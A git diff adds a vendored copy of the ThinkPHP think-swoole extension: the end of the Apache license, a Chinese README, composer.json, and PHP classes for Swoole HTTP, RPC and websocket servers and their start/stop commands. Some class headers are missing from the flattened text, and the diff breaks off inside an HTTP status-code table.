alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-swoole/README.md b/vendor/topthink/think-swoole/README.md new file mode 100644 index 0000000..c8789b1 --- /dev/null +++ b/vendor/topthink/think-swoole/README.md @@ -0,0 +1,36 @@ +ThinkPHP Swoole 扩展 +=============== + +## 安装 + +首先按照Swoole官网说明安装swoole扩展,然后使用 +~~~ +composer require topthink/think-swoole +~~~ +安装swoole扩展。 + +## 使用方法 + + +直接在命令行下启动HTTP服务端。 + +~~~ +php think swoole +~~~ + +启动完成后,默认会在0.0.0.0:80启动一个HTTP Server,可以直接访问当前的应用。 + +swoole的相关参数可以在`config/swoole.php`里面配置(具体参考配置文件内容)。 + +如果需要使用守护进程方式运行,可以配置 + +~~~ +'options' => [ + 'daemonize' => true +] +~~~ + +支持的操作包括 +~~~ +php think swoole [start|stop|reload|restart] +~~~ \ No newline at end of file diff --git a/vendor/topthink/think-swoole/composer.json b/vendor/topthink/think-swoole/composer.json new file mode 100644 index 0000000..b358ca7 --- /dev/null +++ b/vendor/topthink/think-swoole/composer.json @@ -0,0 +1,42 @@ +{ + "name": "topthink/think-swoole", + "description": "Swoole extend for thinkphp", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "require": { + "php": ">7.1", + "ext-swoole": ">=4.4.8", + "ext-json": "*", + "topthink/framework": "^6.0", + "symfony/finder": "^4.3.2", + "swoole/ide-helper": "^4.3", + "nette/php-generator": "^3.2", + "open-smf/connection-pool": "~1.0" + }, + "autoload": { + "psr-4": { + "think\\swoole\\": "src" + }, + "files": [ + "src/helpers.php" + ] + }, + "extra": { + "think": { + "services": [ + "think\\swoole\\Service" + ], + "config": { + "swoole": "src/config/swoole.php" + } + } + }, + "require-dev": { + "symfony/var-dumper": "^4.3" + } +} diff --git a/vendor/topthink/think-swoole/src/App.php b/vendor/topthink/think-swoole/src/App.php new file mode 100644 index 0000000..c0184af --- /dev/null +++ b/vendor/topthink/think-swoole/src/App.php @@ -0,0 +1,13 @@ +finder = new Finder(); + $this->finder->files() + ->name($name) + ->in($directory) + ->exclude($exclude); + } + + protected function findFiles() + { + $files = []; + /** @var SplFileInfo $f */ + foreach ($this->finder as $f) { + $files[$f->getRealpath()] = $f->getMTime(); + } + return $files; + } + + public function watch(callable $callback) + { + $this->files = $this->findFiles(); + + Timer::tick(1000, function () use ($callback) { + + $files = $this->findFiles(); + + foreach ($files as $path => $time) { + if (empty($this->files[$path]) || $this->files[$path] != $time) { + call_user_func($callback); + break; + } + } + + $this->files = $files; + }); + } +} diff --git a/vendor/topthink/think-swoole/src/Http.php b/vendor/topthink/think-swoole/src/Http.php new file mode 100644 index 0000000..1bd9f7b --- /dev/null +++ b/vendor/topthink/think-swoole/src/Http.php @@ -0,0 +1,58 @@ +app->middleware; + $this->modifyProperty(self::$middleware, null); + } + + $middleware = clone self::$middleware; + $this->modifyProperty($middleware, $this->app); + $this->app->instance("middleware", $middleware); + } + + protected function loadRoutes(): void + { + if (!isset(self::$route)) { + parent::loadRoutes(); + self::$route = clone $this->app->route; + $this->modifyProperty(self::$route, null); + $this->modifyProperty(self::$route, null, 'request'); + } + } + + protected function dispatchToRoute($request) + { + if (isset(self::$route)) { + $newRoute = clone self::$route; + $this->modifyProperty($newRoute, $this->app); + $this->app->instance("route", $newRoute); + } + + return parent::dispatchToRoute($request); + } + +} diff --git a/vendor/topthink/think-swoole/src/Manager.php b/vendor/topthink/think-swoole/src/Manager.php new file mode 100644 index 0000000..6d54274 --- /dev/null +++ b/vendor/topthink/think-swoole/src/Manager.php @@ -0,0 +1,86 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole; + +use think\App; +use think\swoole\concerns\InteractsWithHttp; +use think\swoole\concerns\InteractsWithPools; +use think\swoole\concerns\InteractsWithRpcServer; +use think\swoole\concerns\InteractsWithRpcClient; +use think\swoole\concerns\InteractsWithServer; +use think\swoole\concerns\InteractsWithSwooleTable; +use think\swoole\concerns\InteractsWithWebsocket; +use think\swoole\concerns\WithApplication; + +/** + * Class Manager + */ +class Manager +{ + use InteractsWithServer, + InteractsWithSwooleTable, + InteractsWithHttp, + InteractsWithWebsocket, + InteractsWithPools, + InteractsWithRpcClient, + InteractsWithRpcServer, + WithApplication; + + /** + * @var App + */ + protected $container; + + /** + * Server events. + * + * @var array + */ + protected $events = [ + 'start', + 'shutDown', + 'workerStart', + 'workerStop', + 'workerError', + 'workerExit', + 'packet', + 'task', + 'finish', + 'pipeMessage', + 'managerStart', + 'managerStop', + 'request', + ]; + + /** + * Manager constructor. + * @param App $container + */ + public function __construct(App $container) + { + $this->container = $container; + } + + /** + * Initialize. + */ + protected function initialize(): void + { + $this->prepareTables(); + $this->preparePools(); + $this->prepareWebsocket(); + $this->setSwooleServerListeners(); + $this->prepareRpcServer(); + $this->prepareRpcClient(); + } + +} diff --git a/vendor/topthink/think-swoole/src/PidManager.php b/vendor/topthink/think-swoole/src/PidManager.php new file mode 100644 index 0000000..0c7c92b --- /dev/null +++ b/vendor/topthink/think-swoole/src/PidManager.php @@ -0,0 +1,65 @@ +file = $file; + } + + public function getPid() + { + if (is_readable($this->file)) { + return (int) file_get_contents($this->file); + } + + return 0; + } + + /** + * 是否运行中 + * @return bool + */ + public function isRunning() + { + $pid = $this->getPid(); + + return $pid > 0 && Process::kill($pid, 0); + } + + /** + * Kill process. + * + * @param int $sig + * @param int $wait + * + * @return bool + */ + public function killProcess($sig, $wait = 0) + { + $pid = $this->getPid(); + $pid > 0 && Process::kill($pid, $sig); + + if ($wait) { + $start = time(); + + do { + if (!$this->isRunning()) { + break; + } + + usleep(100000); + } while (time() < $start + $wait); + } + + return $this->isRunning(); + } + +} diff --git a/vendor/topthink/think-swoole/src/Pool.php b/vendor/topthink/think-swoole/src/Pool.php new file mode 100644 index 0000000..730954b --- /dev/null +++ b/vendor/topthink/think-swoole/src/Pool.php @@ -0,0 +1,76 @@ +init(); + $this->pools[$name] = $pool; + + return $this; + } + + /** + * @param string $name + * + * @return ConnectionPool + */ + public function get(string $name) + { + return $this->pools[$name] ?? null; + } + + public function close(string $key) + { + return $this->pools[$key]->close(); + } + + /** + * @return array + */ + public function getAll() + { + return $this->pools; + } + + public function closeAll() + { + foreach ($this->pools as $pool) { + $pool->close(); + } + } + + /** + * @param string $key + * + * @return ConnectionPool + */ + public function __get($key) + { + return $this->get($key); + } + + public static function pullPoolConfig(&$config) + { + return [ + 'minActive' => Arr::pull($config, 'min_active', 0), + 'maxActive' => Arr::pull($config, 'max_active', 10), + 'maxWaitTime' => Arr::pull($config, 'max_wait_time', 5), + 'maxIdleTime' => Arr::pull($config, 'max_idle_time', 20), + 'idleCheckInterval' => Arr::pull($config, 'idle_check_interval', 10), + ]; + } +} diff --git a/vendor/topthink/think-swoole/src/RpcManager.php b/vendor/topthink/think-swoole/src/RpcManager.php new file mode 100644 index 0000000..fa783f9 --- /dev/null +++ b/vendor/topthink/think-swoole/src/RpcManager.php @@ -0,0 +1,183 @@ +container = $container; + } + + /** + * Initialize. + */ + protected function initialize(): void + { + $this->events = array_merge($this->events ?? [], $this->rpcEvents); + $this->prepareTables(); + $this->preparePools(); + $this->setSwooleServerListeners(); + $this->prepareRpcServer(); + $this->prepareRpcClient(); + } + + protected function prepareRpcServer() + { + $this->onEvent('workerStart', function () { + $this->bindRpcParser(); + $this->bindRpcDispatcher(); + }); + } + + public function attachToServer(Port $port) + { + $port->set([]); + foreach ($this->rpcEvents as $event) { + $listener = Str::camel("on_$event"); + $callback = method_exists($this, $listener) ? [$this, $listener] : function () use ($event) { + $this->triggerEvent("rpc." . $event, func_get_args()); + }; + + $port->on($event, $callback); + } + + $this->onEvent('workerStart', function (App $app) { + $this->app = $app; + }); + $this->prepareRpcServer(); + } + + protected function bindRpcDispatcher() + { + $services = $this->getConfig('rpc.server.services', []); + + $this->app->make(Dispatcher::class, [$services]); + } + + protected function bindRpcParser() + { + $parserClass = $this->getConfig('rpc.server.parser', JsonParser::class); + + $this->app->bind(ParserInterface::class, $parserClass); + $this->app->make(ParserInterface::class); + } + + public function onConnect(Server $server, int $fd, int $reactorId) + { + $args = func_get_args(); + $this->runInSandbox(function (Event $event) use ($args) { + $event->trigger("swoole.rpc.Connect", $args); + }, $fd, true); + } + + protected function recv(Server $server, $fd, $data, $callback) + { + if (!isset($this->channels[$fd]) || empty($handle = $this->channels[$fd]->pop())) { + //解析包头 + try { + [$header, $data] = Packer::unpack($data); + } catch (Throwable $e) { + //错误的包头 + return $server->close($fd); + } + + $this->channels[$fd] = new Channel($header); + + $handle = $this->channels[$fd]->pop(); + } + + $result = $handle->write($data); + + if (!empty($result)) { + Coroutine::create($callback, $result); + $this->channels[$fd]->close(); + } else { + $this->channels[$fd]->push($handle); + } + + if (!empty($data)) { + $this->recv($server, $fd, $data, $callback); + } + } + + public function onReceive(Server $server, $fd, $reactorId, $data) + { + $this->recv($server, $fd, $data, function ($data) use ($fd, $server) { + $this->runInSandbox(function (Dispatcher $dispatcher) use ($fd, $data) { + $dispatcher->dispatch($fd, $data); + }, $fd, true); + }); + } + + public function onClose(Server $server, int $fd, int $reactorId) + { + unset($this->channels[$fd]); + $args = func_get_args(); + $this->runInSandbox(function (Event $event) use ($args) { + $event->trigger("swoole.rpc.Close", $args); + }, $fd); + } +} diff --git a/vendor/topthink/think-swoole/src/Sandbox.php b/vendor/topthink/think-swoole/src/Sandbox.php new file mode 100644 index 0000000..c82f9e5 --- /dev/null +++ b/vendor/topthink/think-swoole/src/Sandbox.php @@ -0,0 +1,246 @@ +setBaseApp($app); + $this->initialize(); + } + + public function setBaseApp(Container $app) + { + $this->app = $app; + + return $this; + } + + public function getBaseApp() + { + return $this->app; + } + + protected function initialize() + { + Container::setInstance(function () { + return $this->getApplication(); + }); + + $this->app->bind(Http::class, \think\swoole\Http::class); + + $this->setInitialConfig(); + $this->setInitialServices(); + $this->setInitialEvent(); + $this->setInitialResetters(); + + return $this; + } + + public function run(Closure $callable, $fd = null, $persistent = false) + { + $this->init($fd); + + try { + $this->getApplication()->invoke($callable, [$this]); + } catch (Throwable $e) { + throw $e; + } finally { + $this->clear(!$persistent); + } + } + + public function init($fd = null) + { + if (!is_null($fd)) { + Context::setData('_fd', $fd); + } + $this->setInstance($app = $this->getApplication()); + $this->resetApp($app); + } + + public function clear($snapshot = true) + { + if ($snapshot) { + unset($this->snapshots[$this->getSnapshotId()]); + } + + Context::clear(); + $this->setInstance($this->getBaseApp()); + } + + public function getApplication() + { + $snapshot = $this->getSnapshot(); + if ($snapshot instanceof Container) { + return $snapshot; + } + + $snapshot = clone $this->getBaseApp(); + $this->setSnapshot($snapshot); + + return $snapshot; + } + + protected function getSnapshotId() + { + if ($fd = Context::getData('_fd')) { + return "fd_" . $fd; + } else { + return Context::getCoroutineId(); + } + } + + /** + * Get current snapshot. + * @return App|null + */ + public function getSnapshot() + { + return $this->snapshots[$this->getSnapshotId()] ?? null; + } + + public function setSnapshot(Container $snapshot) + { + $this->snapshots[$this->getSnapshotId()] = $snapshot; + + return $this; + } + + public function setInstance(Container $app) + { + $app->instance('app', $app); + $app->instance(Container::class, $app); + + $reflectObject = new ReflectionObject($app); + $reflectProperty = $reflectObject->getProperty('services'); + $reflectProperty->setAccessible(true); + $services = $reflectProperty->getValue($app); + + foreach ($services as $service) { + $this->modifyProperty($service, $app); + } + } + + /** + * Set initial config. + */ + protected function setInitialConfig() + { + $this->config = clone $this->getBaseApp()->config; + } + + protected function setInitialEvent() + { + $this->event = clone $this->getBaseApp()->event; + } + + /** + * Get config snapshot. + */ + public function getConfig() + { + return $this->config; + } + + public function getEvent() + { + return $this->event; + } + + public function getServices() + { + return $this->services; + } + + protected function setInitialServices() + { + $app = $this->getBaseApp(); + + $services = $this->config->get('swoole.services', []); + + foreach ($services as $service) { + if (class_exists($service) && !in_array($service, $this->services)) { + $serviceObj = new $service($app); + $this->services[$service] = $serviceObj; + } + } + } + + /** + * Initialize resetters. + */ + protected function setInitialResetters() + { + $app = $this->getBaseApp(); + + $resetters = [ + ClearInstances::class, + ResetConfig::class, + ResetEvent::class, + ResetService::class, + ]; + + $resetters = array_merge($resetters, $this->config->get('swoole.resetters', [])); + + foreach ($resetters as $resetter) { + $resetterClass = $app->make($resetter); + if (!$resetterClass instanceof ResetterInterface) { + throw new RuntimeException("{$resetter} must implement " . ResetterInterface::class); + } + $this->resetters[$resetter] = $resetterClass; + } + } + + /** + * Reset Application. + * + * @param Container $app + */ + protected function resetApp(Container $app) + { + foreach ($this->resetters as $resetter) { + $resetter->handle($app, $this); + } + } + +} diff --git a/vendor/topthink/think-swoole/src/Service.php b/vendor/topthink/think-swoole/src/Service.php new file mode 100644 index 0000000..0c6901b --- /dev/null +++ b/vendor/topthink/think-swoole/src/Service.php @@ -0,0 +1,42 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole; + +use think\Route; +use think\swoole\command\Rpc; +use think\swoole\command\RpcInterface; +use think\swoole\command\Server as ServerCommand; +use think\swoole\websocket\socketio\Controller; + +class Service extends \think\Service +{ + + public function boot() + { + $this->commands(ServerCommand::class, RpcInterface::class, Rpc::class); + + if ($this->app->config->get('swoole.websocket.enable', false)) { + $this->registerRoutes(function (Route $route) { + $route->group(function () use ($route) { + $route->get('socket.io/', '@upgrade'); + $route->post('socket.io/', '@reject'); + }) + ->prefix(Controller::class) + ->allowCrossDomain([ + 'Access-Control-Allow-Credentials' => 'true', + 'X-XSS-Protection' => 0, + ]); + }); + } + } + +} diff --git a/vendor/topthink/think-swoole/src/Table.php b/vendor/topthink/think-swoole/src/Table.php new file mode 100644 index 0000000..b2327c7 --- /dev/null +++ b/vendor/topthink/think-swoole/src/Table.php @@ -0,0 +1,73 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole; + +use Swoole\Table as SwooleTable; + +class Table +{ + /** + * Registered swoole tables. + * + * @var array + */ + protected $tables = []; + + /** + * Add a swoole table to existing tables. + * + * @param string $name + * @param SwooleTable $table + * + * @return Table + */ + public function add(string $name, SwooleTable $table) + { + $this->tables[$name] = $table; + + return $this; + } + + /** + * Get a swoole table by its name from existing tables. + * + * @param string $name + * + * @return SwooleTable $table + */ + public function get(string $name) + { + return $this->tables[$name] ?? null; + } + + /** + * Get all existing swoole tables. + * + * @return array + */ + public function getAll() + { + return $this->tables; + } + + /** + * Dynamically access table. + * + * @param string $key + * + * @return SwooleTable + */ + public function __get($key) + { + return $this->get($key); + } +} diff --git a/vendor/topthink/think-swoole/src/Websocket.php b/vendor/topthink/think-swoole/src/Websocket.php new file mode 100644 index 0000000..0a2ce8e --- /dev/null +++ b/vendor/topthink/think-swoole/src/Websocket.php @@ -0,0 +1,228 @@ +server = $server; + $this->room = $room; + $this->parser = $parser; + } + + /** + * Set broadcast to true. + */ + public function broadcast(): self + { + Context::setData('websocket._broadcast', true); + + return $this; + } + + /** + * Get broadcast status value. + */ + public function isBroadcast() + { + return Context::getData('websocket._broadcast', false); + } + + /** + * Set multiple recipients fd or room names. + * + * @param integer, string, array + * + * @return $this + */ + public function to($values): self + { + $values = is_string($values) || is_integer($values) ? func_get_args() : $values; + + $to = Context::getData("websocket._to", []); + + foreach ($values as $value) { + if (!in_array($value, $to)) { + $to[] = $value; + } + } + + Context::setData("websocket._to", $to); + + return $this; + } + + /** + * Get push destinations (fd or room name). + */ + public function getTo() + { + return Context::getData("websocket._to", []); + } + + /** + * Join sender to multiple rooms. + * + * @param string, array $rooms + * + * @return $this + */ + public function join($rooms): self + { + $rooms = is_string($rooms) || is_integer($rooms) ? func_get_args() : $rooms; + + $this->room->add($this->getSender(), $rooms); + + return $this; + } + + /** + * Make sender leave multiple rooms. + * + * @param array $rooms + * + * @return $this + */ + public function leave($rooms = []): self + { + $rooms = is_string($rooms) || is_integer($rooms) ? func_get_args() : $rooms; + + $this->room->delete($this->getSender(), $rooms); + + return $this; + } + + /** + * Emit data and reset some status. + * + * @param string + * @param mixed + * + * @return boolean + */ + public function emit(string $event, $data = null): bool + { + $fds = $this->getFds(); + $assigned = !empty($this->getTo()); + + try { + if (empty($fds) && $assigned) { + return false; + } + + $result = $this->server->task([ + 'action' => static::PUSH_ACTION, + 'data' => [ + 'sender' => $this->getSender(), + 'descriptors' => $fds, + 'broadcast' => $this->isBroadcast(), + 'assigned' => $assigned, + 'payload' => $this->parser->encode($event, $data), + ], + ]); + + return $result !== false; + } finally { + $this->reset(); + } + } + + /** + * Close current connection. + * + * @param integer + * + * @return boolean + */ + public function close(int $fd = null) + { + return $this->server->close($fd ?: $this->getSender()); + } + + /** + * Set sender fd. + * + * @param integer + * + * @return $this + */ + public function setSender(int $fd) + { + Context::setData('websocket._sender', $fd); + + return $this; + } + + /** + * Get current sender fd. + */ + public function getSender() + { + return Context::getData('websocket._sender'); + } + + /** + * Get all fds we're going to push data to. + */ + protected function getFds() + { + $to = $this->getTo(); + $fds = array_filter($to, function ($value) { + return is_integer($value); + }); + $rooms = array_diff($to, $fds); + + foreach ($rooms as $room) { + $clients = $this->room->getClients($room); + // fallback fd with wrong type back to fds array + if (empty($clients) && is_numeric($room)) { + $fds[] = $room; + } else { + $fds = array_merge($fds, $clients); + } + } + + return array_values(array_unique($fds)); + } + + protected function reset() + { + Context::removeData("websocket._to"); + Context::removeData('websocket._broadcast'); + } +} diff --git a/vendor/topthink/think-swoole/src/command/Rpc.php b/vendor/topthink/think-swoole/src/command/Rpc.php new file mode 100644 index 0000000..b5cbecb --- /dev/null +++ b/vendor/topthink/think-swoole/src/command/Rpc.php @@ -0,0 +1,172 @@ +setName('swoole:rpc') + ->addArgument('action', Argument::OPTIONAL, "start|stop|restart|reload", 'start') + ->setDescription('Swoole RPC Server for ThinkPHP'); + } + + protected function initialize(Input $input, Output $output) + { + $this->app->bind(\Swoole\Server::class, function () { + return $this->createSwooleServer(); + }); + + $this->app->bind(PidManager::class, function () { + return new PidManager($this->app->config->get("swoole.server.options.pid_file")); + }); + } + + public function handle() + { + $this->checkEnvironment(); + + $action = $this->input->getArgument('action'); + + if (in_array($action, ['start', 'stop', 'reload', 'restart'])) { + $this->app->invokeMethod([$this, $action], [], true); + } else { + $this->output->writeln("Invalid argument action:{$action}, Expected start|stop|restart|reload ."); + } + } + + /** + * 检查环境 + */ + protected function checkEnvironment() + { + if (!extension_loaded('swoole')) { + $this->output->error('Can\'t detect Swoole extension installed.'); + + exit(1); + } + + if (!version_compare(swoole_version(), '4.3.1', 'ge')) { + $this->output->error('Your Swoole version must be higher than `4.3.1`.'); + + exit(1); + } + } + + /** + * 启动server + * @access protected + * @param RpcManager $manager + * @param PidManager $pidManager + * @return void + */ + protected function start(RpcManager $manager, PidManager $pidManager) + { + if ($pidManager->isRunning()) { + $this->output->writeln('swoole rpc server process is already running.'); + return; + } + + $this->output->writeln('Starting swoole rpc server...'); + + $host = $this->app->config->get('swoole.server.host'); + $port = $this->app->config->get('swoole.rpc.server.port'); + + $this->output->writeln("Swoole rpc server started: "); + $this->output->writeln('You can exit with `CTRL-C`'); + + $manager->run(); + } + + /** + * 柔性重启server + * @access protected + * @param PidManager $manager + * @return void + */ + protected function reload(PidManager $manager) + { + if (!$manager->isRunning()) { + $this->output->writeln('no swoole rpc server process running.'); + return; + } + + $this->output->writeln('Reloading swoole rpc server...'); + + if (!$manager->killProcess(SIGUSR1)) { + $this->output->error('> failure'); + + return; + } + + $this->output->writeln('> success'); + } + + /** + * 停止server + * @access protected + * @param PidManager $manager + * @return void + */ + protected function stop(PidManager $manager) + { + if (!$manager->isRunning()) { + $this->output->writeln('no swoole rpc server process running.'); + return; + } + + $this->output->writeln('Stopping swoole rpc server...'); + + $isRunning = $manager->killProcess(SIGTERM, 15); + + if ($isRunning) { + $this->output->error('Unable to stop the rpc process.'); + return; + } + + $this->output->writeln('> success'); + } + + /** + * 重启server + * @access protected + * @param RpcManager $manager + * @param PidManager $pidManager + * @return void + */ + protected function restart(RpcManager $manager, PidManager $pidManager) + { + if ($pidManager->isRunning()) { + $this->stop($pidManager); + } + + $this->start($manager, $pidManager); + } + + /** + * Create swoole server. + */ + protected function createSwooleServer() + { + $config = $this->app->config; + $host = $config->get('swoole.server.host'); + $port = $config->get('swoole.rpc.server.port'); + $socketType = $config->get('swoole.server.socket_type', SWOOLE_SOCK_TCP); + $mode = $config->get('swoole.server.mode', SWOOLE_PROCESS); + + /** @var \Swoole\Server $server */ + $server = new \Swoole\Server($host, $port, $mode, $socketType); + + $options = $config->get('swoole.server.options'); + + $server->set($options); + return $server; + } +} diff --git a/vendor/topthink/think-swoole/src/command/RpcInterface.php b/vendor/topthink/think-swoole/src/command/RpcInterface.php new file mode 100644 index 0000000..40dcc01 --- /dev/null +++ b/vendor/topthink/think-swoole/src/command/RpcInterface.php @@ -0,0 +1,75 @@ +setName('rpc:interface') + ->setDescription('Generate Rpc Service Interfaces'); + } + + public function handle() + { + $clients = $this->app->config->get('swoole.rpc.client', []); + + $file = new PhpFile; + $file->addComment('This file is auto-generated.'); + $file->setStrictTypes(); + $services = []; + foreach ($clients as $name => $config) { + + $parserClass = Arr::get($config, 'parser', JsonParser::class); + /** @var ParserInterface $parser */ + $parser = new $parserClass; + + $gateway = new Gateway($config, $parser); + + $result = $gateway->getServices(); + + $namespace = $file->addNamespace("rpc\\contract\\${name}"); + + foreach ($result as $interface => $methods) { + + $services[$name][] = $namespace->getName() . "\\{$interface}"; + + $class = $namespace->addInterface($interface); + + foreach ($methods as $methodName => ['parameters' => $parameters, 'returnType' => $returnType, 'comment' => $comment]) { + $method = $class->addMethod($methodName) + ->setVisibility(ClassType::VISIBILITY_PUBLIC) + ->setComment(Helpers::unformatDocComment($comment)) + ->setReturnType($returnType); + + foreach ($parameters as $parameter) { + if ($parameter['type'] && (class_exists($parameter['type']) || interface_exists($parameter['type']))) { + $namespace->addUse($parameter['type']); + } + $param = $method->addParameter($parameter['name']) + ->setTypeHint($parameter['type']); + + if (array_key_exists("default", $parameter)) { + $param->setDefaultValue($parameter['default']); + } + } + } + } + } + + $services = "return " . Helpers::dump($services) . ";"; + + file_put_contents($this->app->getBasePath() . 'rpc.php', $file . $services); + + $this->output->writeln('Succeed!'); + } +} diff --git a/vendor/topthink/think-swoole/src/command/Server.php b/vendor/topthink/think-swoole/src/command/Server.php new file mode 100644 index 0000000..48f6ed1 --- /dev/null +++ b/vendor/topthink/think-swoole/src/command/Server.php @@ -0,0 +1,192 @@ + +// +---------------------------------------------------------------------- + +namespace think\swoole\command; + +use Swoole\Http\Server as HttpServer; +use Swoole\WebSocket\Server as WebsocketServer; +use think\console\Command; +use think\console\Input; +use think\console\input\Argument; +use think\console\Output; +use think\swoole\Manager; +use think\swoole\PidManager; + +/** + * Swoole HTTP 命令行,支持操作:start|stop|restart|reload + * 支持应用配置目录下的swoole.php文件进行参数配置 + */ +class Server extends Command +{ + public function configure() + { + $this->setName('swoole') + ->addArgument('action', Argument::OPTIONAL, "start|stop|restart|reload", 'start') + ->setDescription('Swoole HTTP Server for ThinkPHP'); + } + + protected function initialize(Input $input, Output $output) + { + $this->app->bind(\Swoole\Server::class, function () { + return $this->createSwooleServer(); + }); + + $this->app->bind(PidManager::class, function () { + return new PidManager($this->app->config->get("swoole.server.options.pid_file")); + }); + } + + public function handle() + { + $this->checkEnvironment(); + + $action = $this->input->getArgument('action'); + + if (in_array($action, ['start', 'stop', 'reload', 'restart'])) { + $this->app->invokeMethod([$this, $action], [], true); + } else { + $this->output->writeln("Invalid argument action:{$action}, Expected start|stop|restart|reload ."); + } + } + + /** + * 检查环境 + */ + protected function checkEnvironment() + { + if (!extension_loaded('swoole')) { + $this->output->error('Can\'t detect Swoole extension installed.'); + + exit(1); + } + + if (!version_compare(swoole_version(), '4.3.1', 'ge')) { + $this->output->error('Your Swoole version must be higher than `4.3.1`.'); + + exit(1); + } + } + + /** + * 启动server + * @access protected + * @param Manager $manager + * @param PidManager $pidManager + * @return void + */ + protected function start(Manager $manager, PidManager $pidManager) + { + if ($pidManager->isRunning()) { + $this->output->writeln('swoole http server process is already running.'); + return; + } + + $this->output->writeln('Starting swoole http server...'); + + $host = $manager->getConfig('server.host'); + $port = $manager->getConfig('server.port'); + + $this->output->writeln("Swoole http server started: "); + $this->output->writeln('You can exit with `CTRL-C`'); + + $manager->run(); + } + + /** + * 柔性重启server + * @access protected + * @param PidManager $manager + * @return void + */ + protected function reload(PidManager $manager) + { + if (!$manager->isRunning()) { + $this->output->writeln('no swoole http server process running.'); + return; + } + + $this->output->writeln('Reloading swoole http server...'); + + if (!$manager->killProcess(SIGUSR1)) { + $this->output->error('> failure'); + + return; + } + + $this->output->writeln('> success'); + } + + /** + * 停止server + * @access protected + * @param PidManager $manager + * @return void + */ + protected function stop(PidManager $manager) + { + if (!$manager->isRunning()) { + $this->output->writeln('no swoole http server process running.'); + return; + } + + $this->output->writeln('Stopping swoole http server...'); + + $isRunning = $manager->killProcess(SIGTERM, 15); + + if ($isRunning) { + $this->output->error('Unable to stop the swoole_http_server process.'); + return; + } + + $this->output->writeln('> success'); + } + + /** + * 重启server + * @access protected + * @param Manager $manager + * @param PidManager $pidManager + * @return void + */ + protected function restart(Manager $manager, PidManager $pidManager) + { + if ($pidManager->isRunning()) { + $this->stop($pidManager); + } + + $this->start($manager, $pidManager); + } + + /** + * Create swoole server. + */ + protected function createSwooleServer() + { + + $isWebsocket = $this->app->config->get('swoole.websocket.enable', false); + + $serverClass = $isWebsocket ? WebsocketServer::class : HttpServer::class; + $config = $this->app->config; + $host = $config->get('swoole.server.host'); + $port = $config->get('swoole.server.port'); + $socketType = $config->get('swoole.server.socket_type', SWOOLE_SOCK_TCP); + $mode = $config->get('swoole.server.mode', SWOOLE_PROCESS); + + /** @var \Swoole\Server $server */ + $server = new $serverClass($host, $port, $mode, $socketType); + + $options = $config->get('swoole.server.options'); + + $server->set($options); + return $server; + } + +} diff --git a/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php b/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php new file mode 100644 index 0000000..c1e21a5 --- /dev/null +++ b/vendor/topthink/think-swoole/src/concerns/InteractsWithHttp.php @@ -0,0 +1,208 @@ + 'Continue', + 101 => 'Switching Protocols', + 102 => 'Processing', // RFC2518 + 103 => 'Early Hints', + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 207 => 'Multi-Status', // RFC4918 + 208 => 'Already Reported', // RFC5842 + 226 => 'IM Used', // RFC3229 + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 307 => 'Temporary Redirect', + 308 => 'Permanent Redirect', // RFC7238 + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not 